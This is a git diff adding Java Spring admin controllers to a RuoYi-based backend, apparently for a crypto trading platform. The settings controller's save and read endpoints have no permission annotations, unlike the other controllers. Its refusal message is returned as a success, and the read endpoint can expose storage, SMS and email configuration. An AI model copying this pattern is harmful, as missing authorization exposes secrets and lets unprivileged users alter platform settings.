getDataTable(list); + } + + /** + * 根据通知公告编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:notice:query')") + @GetMapping(value = "/{noticeId}") + public AjaxResult getInfo(@PathVariable Long noticeId) + { + return success(noticeService.selectNoticeById(noticeId)); + } + + /** + * 新增通知公告 + */ + @PreAuthorize("@ss.hasPermi('system:notice:add')") + @Log(title = "通知公告", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysNotice notice) + { + notice.setCreateBy(getUsername()); + return toAjax(noticeService.insertNotice(notice)); + } + + /** + * 修改通知公告 + */ + @PreAuthorize("@ss.hasPermi('system:notice:edit')") + @Log(title = "通知公告", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysNotice notice) + { + notice.setUpdateBy(getUsername()); + return toAjax(noticeService.updateNotice(notice)); + } + + /** + * 删除通知公告 + */ + @PreAuthorize("@ss.hasPermi('system:notice:remove')") + @Log(title = "通知公告", businessType = BusinessType.DELETE) + @DeleteMapping("/{noticeIds}") + public AjaxResult remove(@PathVariable Long[] noticeIds) + { + return toAjax(noticeService.deleteNoticeByIds(noticeIds)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java new file mode 100644 index 0000000..c37a543 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java @@ -0,0 +1,129 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.domain.SysPost; +import com.ruoyi.system.service.ISysPostService; + +/** + * 岗位信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/post") +public class SysPostController extends BaseController +{ + @Autowired + private ISysPostService postService; + + /** + * 获取岗位列表 + */ + @PreAuthorize("@ss.hasPermi('system:post:list')") + @GetMapping("/list") + public TableDataInfo list(SysPost post) + { + startPage(); + List list = postService.selectPostList(post); + return getDataTable(list); + } + + @Log(title = "岗位管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:post:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysPost post) + { + List list = postService.selectPostList(post); + ExcelUtil util = new ExcelUtil(SysPost.class); + util.exportExcel(response, list, "岗位数据"); + } + + /** + * 根据岗位编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:post:query')") + @GetMapping(value = "/{postId}") + public AjaxResult getInfo(@PathVariable Long postId) + { + return success(postService.selectPostById(postId)); + } + + /** + * 新增岗位 + */ + @PreAuthorize("@ss.hasPermi('system:post:add')") + @Log(title = "岗位管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysPost post) + { + if (!postService.checkPostNameUnique(post)) + { + return error("新增岗位'" + post.getPostName() + "'失败,岗位名称已存在"); + } + else if (!postService.checkPostCodeUnique(post)) + { + return error("新增岗位'" + post.getPostName() + "'失败,岗位编码已存在"); + } + post.setCreateBy(getUsername()); + return toAjax(postService.insertPost(post)); + } + + /** + * 修改岗位 + */ + @PreAuthorize("@ss.hasPermi('system:post:edit')") + @Log(title = "岗位管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysPost post) + { + if (!postService.checkPostNameUnique(post)) + { + return error("修改岗位'" + post.getPostName() + "'失败,岗位名称已存在"); + } + else if (!postService.checkPostCodeUnique(post)) + { + return error("修改岗位'" + post.getPostName() + "'失败,岗位编码已存在"); + } + post.setUpdateBy(getUsername()); + return toAjax(postService.updatePost(post)); + } + + /** + * 删除岗位 + */ + @PreAuthorize("@ss.hasPermi('system:post:remove')") + @Log(title = "岗位管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{postIds}") + public AjaxResult remove(@PathVariable Long[] postIds) + { + return toAjax(postService.deletePostByIds(postIds)); + } + + /** + * 获取岗位选择框列表 + */ + @GetMapping("/optionselect") + public AjaxResult optionselect() + { + List posts = postService.selectPostAll(); + return success(posts); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java new file mode 100644 index 0000000..450ec32 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java @@ -0,0 +1,151 @@ +package com.ruoyi.web.controller.system; + +import com.ruoyi.bussiness.service.impl.FileServiceImpl; +import org.apache.commons.io.FilenameUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.file.FileUploadUtils; +import com.ruoyi.common.utils.file.MimeTypeUtils; +import com.ruoyi.framework.web.service.TokenService; +import com.ruoyi.system.service.ISysUserService; + +import javax.annotation.Resource; +import java.util.UUID; + +/** + * 个人信息 业务处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/user/profile") +public class SysProfileController extends BaseController +{ + @Autowired + private ISysUserService userService; + + @Autowired + private TokenService tokenService; + @Resource + private FileServiceImpl fileService; + + /** + * 个人信息 + */ + @GetMapping + public AjaxResult profile() + { + LoginUser loginUser = getLoginUser(); + SysUser user = loginUser.getUser(); + AjaxResult ajax = AjaxResult.success(user); + ajax.put("roleGroup", userService.selectUserRoleGroup(loginUser.getUsername())); + ajax.put("postGroup", userService.selectUserPostGroup(loginUser.getUsername())); + return ajax; + } + + /** + * 修改用户 + */ + @Log(title = "个人信息", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult updateProfile(@RequestBody SysUser user) + { + LoginUser loginUser = getLoginUser(); + SysUser sysUser = loginUser.getUser(); + user.setUserName(sysUser.getUserName()); + if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,手机号码已存在"); + } + if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + user.setUserId(sysUser.getUserId()); + user.setPassword(null); + user.setAvatar(null); + user.setDeptId(null); + if (userService.updateUserProfile(user) > 0) + { + // 更新缓存用户信息 + sysUser.setNickName(user.getNickName()); + sysUser.setPhonenumber(user.getPhonenumber()); + sysUser.setEmail(user.getEmail()); + sysUser.setSex(user.getSex()); + tokenService.setLoginUser(loginUser); + return success(); + } + return error("修改个人信息异常,请联系管理员"); + } + + /** + * 重置密码 + */ + @Log(title = "个人信息", businessType = BusinessType.UPDATE) + @PutMapping("/updatePwd") + public AjaxResult updatePwd(String oldPassword, String newPassword) + { + LoginUser loginUser = getLoginUser(); + String userName = loginUser.getUsername(); + String password = loginUser.getPassword(); + if (!SecurityUtils.matchesPassword(oldPassword, password)) + { + return error("修改密码失败,旧密码错误"); + } + if (SecurityUtils.matchesPassword(newPassword, password)) + { + return error("新密码不能与旧密码相同"); + } + if (userService.resetUserPwd(userName, SecurityUtils.encryptPassword(newPassword)) > 0) + { + // 更新缓存用户密码 + loginUser.getUser().setPassword(SecurityUtils.encryptPassword(newPassword)); + tokenService.setLoginUser(loginUser); + return success(); + } + return error("修改密码异常,请联系管理员"); + } + + /** + * 头像上传 + */ + @Log(title = "用户头像", businessType = BusinessType.UPDATE) + @PostMapping("/avatar") + public AjaxResult avatar(@RequestParam("avatarfile") MultipartFile file) throws Exception + { + if (!file.isEmpty()) + { + LoginUser loginUser = getLoginUser(); + String filename = FileUploadUtils.extractFilename(file); + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String avatar = fileService.uploadFileOSS(file,name); + if (userService.updateUserAvatar(loginUser.getUsername(), avatar)) + { + AjaxResult ajax = AjaxResult.success(); + ajax.put("imgUrl", avatar); + // 更新缓存用户头像 + loginUser.getUser().setAvatar(avatar); + tokenService.setLoginUser(loginUser); + return ajax; + } + } + return error("上传图片异常,请联系管理员"); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java new file mode 100644 index 0000000..fe19249 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java @@ -0,0 +1,38 @@ +package com.ruoyi.web.controller.system; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.RegisterBody; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.web.service.SysRegisterService; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 注册验证 + * + * @author ruoyi + */ +@RestController +public class SysRegisterController extends BaseController +{ + @Autowired + private SysRegisterService registerService; + + @Autowired + private ISysConfigService configService; + + @PostMapping("/register") + public AjaxResult register(@RequestBody RegisterBody user) + { + if (!("true".equals(configService.selectConfigByKey("sys.account.registerUser")))) + { + return error("当前系统没有开启注册功能!"); + } + String msg = registerService.register(user); + return StringUtils.isEmpty(msg) ? success() : error(msg); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java new file mode 100644 index 0000000..232c5fa --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java @@ -0,0 +1,262 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.framework.web.service.SysPermissionService; +import com.ruoyi.framework.web.service.TokenService; +import com.ruoyi.system.domain.SysUserRole; +import com.ruoyi.system.service.ISysDeptService; +import com.ruoyi.system.service.ISysRoleService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 角色信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/role") +public class SysRoleController extends BaseController +{ + @Autowired + private ISysRoleService roleService; + + @Autowired + private TokenService tokenService; + + @Autowired + private SysPermissionService permissionService; + + @Autowired + private ISysUserService userService; + + @Autowired + private ISysDeptService deptService; + + @PreAuthorize("@ss.hasPermi('system:role:list')") + @GetMapping("/list") + public TableDataInfo list(SysRole role) + { + startPage(); + List list = roleService.selectRoleList(role); + return getDataTable(list); + } + + @Log(title = "角色管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:role:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysRole role) + { + List list = roleService.selectRoleList(role); + ExcelUtil util = new ExcelUtil(SysRole.class); + util.exportExcel(response, list, "角色数据"); + } + + /** + * 根据角色编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:role:query')") + @GetMapping(value = "/{roleId}") + public AjaxResult getInfo(@PathVariable Long roleId) + { + roleService.checkRoleDataScope(roleId); + return success(roleService.selectRoleById(roleId)); + } + + /** + * 新增角色 + */ + @PreAuthorize("@ss.hasPermi('system:role:add')") + @Log(title = "角色管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysRole role) + { + if (!roleService.checkRoleNameUnique(role)) + { + return error("新增角色'" + role.getRoleName() + "'失败,角色名称已存在"); + } + else if (!roleService.checkRoleKeyUnique(role)) + { + return error("新增角色'" + role.getRoleName() + "'失败,角色权限已存在"); + } + role.setCreateBy(getUsername()); + return toAjax(roleService.insertRole(role)); + + } + + /** + * 修改保存角色 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysRole role) + { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + if (!roleService.checkRoleNameUnique(role)) + { + return error("修改角色'" + role.getRoleName() + "'失败,角色名称已存在"); + } + else if (!roleService.checkRoleKeyUnique(role)) + { + return error("修改角色'" + role.getRoleName() + "'失败,角色权限已存在"); + } + role.setUpdateBy(getUsername()); + + if (roleService.updateRole(role) > 0) + { + // 更新缓存用户权限 + LoginUser loginUser = getLoginUser(); + if (StringUtils.isNotNull(loginUser.getUser()) && !loginUser.getUser().isAdmin()) + { + loginUser.setPermissions(permissionService.getMenuPermission(loginUser.getUser())); + loginUser.setUser(userService.selectUserByUserName(loginUser.getUser().getUserName())); + tokenService.setLoginUser(loginUser); + } + return success(); + } + return error("修改角色'" + role.getRoleName() + "'失败,请联系管理员"); + } + + /** + * 修改保存数据权限 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping("/dataScope") + public AjaxResult dataScope(@RequestBody SysRole role) + { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + return toAjax(roleService.authDataScope(role)); + } + + /** + * 状态修改 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public AjaxResult changeStatus(@RequestBody SysRole role) + { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + role.setUpdateBy(getUsername()); + return toAjax(roleService.updateRoleStatus(role)); + } + + /** + * 删除角色 + */ + @PreAuthorize("@ss.hasPermi('system:role:remove')") + @Log(title = "角色管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{roleIds}") + public AjaxResult remove(@PathVariable Long[] roleIds) + { + return toAjax(roleService.deleteRoleByIds(roleIds)); + } + + /** + * 获取角色选择框列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:query')") + @GetMapping("/optionselect") + public AjaxResult optionselect() + { + return success(roleService.selectRoleAll()); + } + + /** + * 查询已分配用户角色列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:list')") + @GetMapping("/authUser/allocatedList") + public TableDataInfo allocatedList(SysUser user) + { + startPage(); + List list = userService.selectAllocatedList(user); + return getDataTable(list); + } + + /** + * 查询未分配用户角色列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:list')") + @GetMapping("/authUser/unallocatedList") + public TableDataInfo unallocatedList(SysUser user) + { + startPage(); + List list = userService.selectUnallocatedList(user); + return getDataTable(list); + } + + /** + * 取消授权用户 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/cancel") + public AjaxResult cancelAuthUser(@RequestBody SysUserRole userRole) + { + return toAjax(roleService.deleteAuthUser(userRole)); + } + + /** + * 批量取消授权用户 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/cancelAll") + public AjaxResult cancelAuthUserAll(Long roleId, Long[] userIds) + { + return toAjax(roleService.deleteAuthUsers(roleId, userIds)); + } + + /** + * 批量选择用户授权 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/selectAll") + public AjaxResult selectAuthUserAll(Long roleId, Long[] userIds) + { + roleService.checkRoleDataScope(roleId); + return toAjax(roleService.insertAuthUsers(roleId, userIds)); + } + + /** + * 获取对应角色部门树列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:query')") + @GetMapping(value = "/deptTree/{roleId}") + public AjaxResult deptTree(@PathVariable("roleId") Long roleId) + { + AjaxResult ajax = AjaxResult.success(); + ajax.put("checkedKeys", deptService.selectDeptListByRoleId(roleId)); + ajax.put("depts", deptService.selectDeptTreeList(new SysDept())); + return ajax; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java new file mode 100644 index 0000000..d1fd19b --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java @@ -0,0 +1,265 @@ +package com.ruoyi.web.controller.system; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import io.swagger.annotations.ApiOperation; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.*; +import java.util.stream.Collectors; + +@RestController +@RequestMapping("/setting") +public class SysSettingController extends BaseController { + + @Resource + private SettingService settingService; + + + + @PutMapping(value = "/put/{key}") + public AjaxResult saveConfig(@PathVariable String key, @RequestBody String configValue) { + SettingEnum settingEnum = SettingEnum.valueOf(key); + if(settingEnum.equals(SettingEnum.WITHDRAWAL_CHANNEL_SETTING) || settingEnum.equals(SettingEnum.ASSET_COIN)){ + LoginUser loginUser = SecurityUtils.getLoginUser(); + if(!loginUser.getUser().isAdmin()){ + return AjaxResult.success("您没有操作权限,请联系管理员!"); + } + } + + //获取系统配置 + Setting setting = settingService.getById(settingEnum.name()); + if (setting == null) { + setting = new Setting(); + setting.setId(settingEnum.name()); + } + + //特殊配置过滤 + configValue = filter(settingEnum, configValue); + setting.setSettingValue(configValue); + settingService.saveUpdate(setting); + return AjaxResult.success(); + } + + + + @ApiOperation(value = "查看配置") + @GetMapping(value = "/get/{key}") + + public AjaxResult settingGet(@PathVariable String key) { + return createSetting(key); + } + + + /** + * 对配置进行过滤 + * + * @param settingEnum + * @param configValue + */ + private String filter(SettingEnum settingEnum, String configValue) { + if (settingEnum.equals(SettingEnum.APP_SIDEBAR_SETTING)) { + Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + AppSidebarSetting appSidebar = JSONUtil.toBean(configValue, AppSidebarSetting.class); + List list; + if (Objects.nonNull(setting)){ + list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class); + }else{ + list = new ArrayList<>(); + } + List copyList = new ArrayList<>(); + if (!CollectionUtils.isEmpty(list)){ + copyList.addAll(list); + Boolean flag = true; + for (AppSidebarSetting a:copyList) { + if (appSidebar.getKey().equals(a.getKey())){ + flag = false; + } + } + if (flag){ + list.add(appSidebar); + copyList.add(appSidebar); + } + //修改还是删除 + for (AppSidebarSetting a:copyList) { + if (StringUtils.isNotEmpty(appSidebar.getName()) && appSidebar.getKey().equals(a.getKey())){ + list.remove(a); + list.add(appSidebar); + break; + } + if (StringUtils.isEmpty(appSidebar.getName()) && appSidebar.getKey().equals(a.getKey())){ + list.remove(a); + break; + } + } + }else{ + list.add(appSidebar); + } + configValue = JSONUtil.toJsonStr(list); + } + + return configValue; + } + + /** + * 获取表单 + * 这里主要包含一个配置对象为空,导致转换异常问题的处理,解决配置项增加减少,带来的系统异常,无法直接配置 + * + * @param key + * @return + * @throws InstantiationException + * @throws IllegalAccessException + */ + private AjaxResult createSetting(String key) { + SettingEnum settingEnum = SettingEnum.valueOf(key); + Setting setting = settingService.get(key); + switch (settingEnum) { + case BASE_SETTING: + return setting == null ? + AjaxResult.success(new BaseSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), BaseSetting.class)); + case APP_SIDEBAR_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class) + .stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList())); + + case EMAIL_SETTING: + return setting == null ? + AjaxResult.success(new EmailSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class)); + + case OSS_SETTING: + return setting == null ? + AjaxResult.success(new OssSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), OssSetting.class)); + case SMS_SETTING: + return setting == null ? + AjaxResult.success(new SmsSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), SmsSetting.class)); + case ASSET_COIN: + return setting == null ? + AjaxResult.success(new AssetCoinSetting()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class)); + case MARKET_URL: + return setting == null ? + AjaxResult.success(new MarketUrlSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class)); + case LOGIN_REGIS_SETTING: + return setting == null ? + AjaxResult.success(new LoginRegisSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class)); + case LOAD_SETTING: + return setting == null ? + AjaxResult.success(new LoadSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class)); + case WITHDRAWAL_CHANNEL_SETTING: + return setting == null ? + AjaxResult.success(new TRechargeChannelSetting()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class)); + case FINANCIAL_SETTLEMENT_SETTING: + return setting == null ? + AjaxResult.success(new FinancialSettlementSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class)); + case PLATFORM_SETTING: + return setting == null ? + AjaxResult.success(new PlatformSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), PlatformSetting.class)); + case WHITE_IP_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), WhiteIpSetting.class)); + case SUPPORT_STAFF_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class)); + case RECHARGE_REBATE_SETTING: + return setting == null ? + AjaxResult.success(new RechargeRebateSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), RechargeRebateSetting.class)); + case FINANCIAL_REBATE_SETTING: + return setting == null ? + AjaxResult.success(new FinancialRebateSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), FinancialRebateSetting.class)); + case MING_SETTLEMENT_SETTING: + return setting == null ? + AjaxResult.success(new MingSettlementSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class)); + case WITHDRAWAL_RECHARGE_VOICE: + return setting == null ? + AjaxResult.success(new VoiceSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), VoiceSetting.class)); + case WHITE_PAPER_SETTING: + return setting == null ? + AjaxResult.success(new WhitePaperSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class)); + case DEFI_INCOME_SETTING: + return setting == null ? + AjaxResult.success(new DefiIncomeSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class)); + case TAB_SETTING: + return setting == null ? + AjaxResult.success(new TabSetting()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class)); + case PLAYING_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class)); + case BOTTOM_MENU_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class)); + case MIDDLE_MENU_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class)); + case LOGO_SETTING: + return setting == null ? + AjaxResult.success(new LogoSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class)); + case HOME_COIN_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class)); + case DOWNLOAD_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), DownloadSetting.class)); + case TG_BOT_SETTING: + return setting == null ? + AjaxResult.success(new HomeCoinSetting()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class)); + case AUTH_LIMIT: + return setting == null ? + AjaxResult.success(new AuthLimitSetting ()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), AuthLimitSetting.class)); + case THIRD_CHANNL: + return setting == null ? + AjaxResult.success(new ArrayList ()) : + AjaxResult.success( (JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), ThirdPaySetting.class))); + case VIP_LEVEL_SETTING: + return setting == null ? + AjaxResult.success(new VipLevelSetting ()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), VipLevelSetting.class)); + case VIP_DIRECTIONS_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList ()) : + AjaxResult.success( (JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), VipDirectionsSetting.class))); + case ADD_MOSAIC_SETTING: + return setting == null ? + AjaxResult.success(new AddMosaicSetting ()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class)); + default: + return AjaxResult.success(); + } + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java new file mode 100644 index 0000000..dc8f9d9 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java @@ -0,0 +1,45 @@ +package com.ruoyi.web.controller.system; + +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.system.service.ISysStatisticsService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * 参数配置 信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/statistics") +public class SysStatisticsController extends BaseController { + + @Autowired + private ISysStatisticsService statisticsService; + + /** + * 获取首页数据统计列表 + */ + @GetMapping("/dataList") + public AjaxResult dataList() { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (user != null) { + String userType = user.getUserType(); + String parentId = ""; + if (user.isAdmin() || ("0").equals(userType)) { + parentId = null; + } else { + parentId = user.getUserId().toString(); + } + return success(statisticsService.getDataList(parentId)); + } + return error(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java new file mode 100644 index 0000000..f1dda0d --- /dev/null +++ 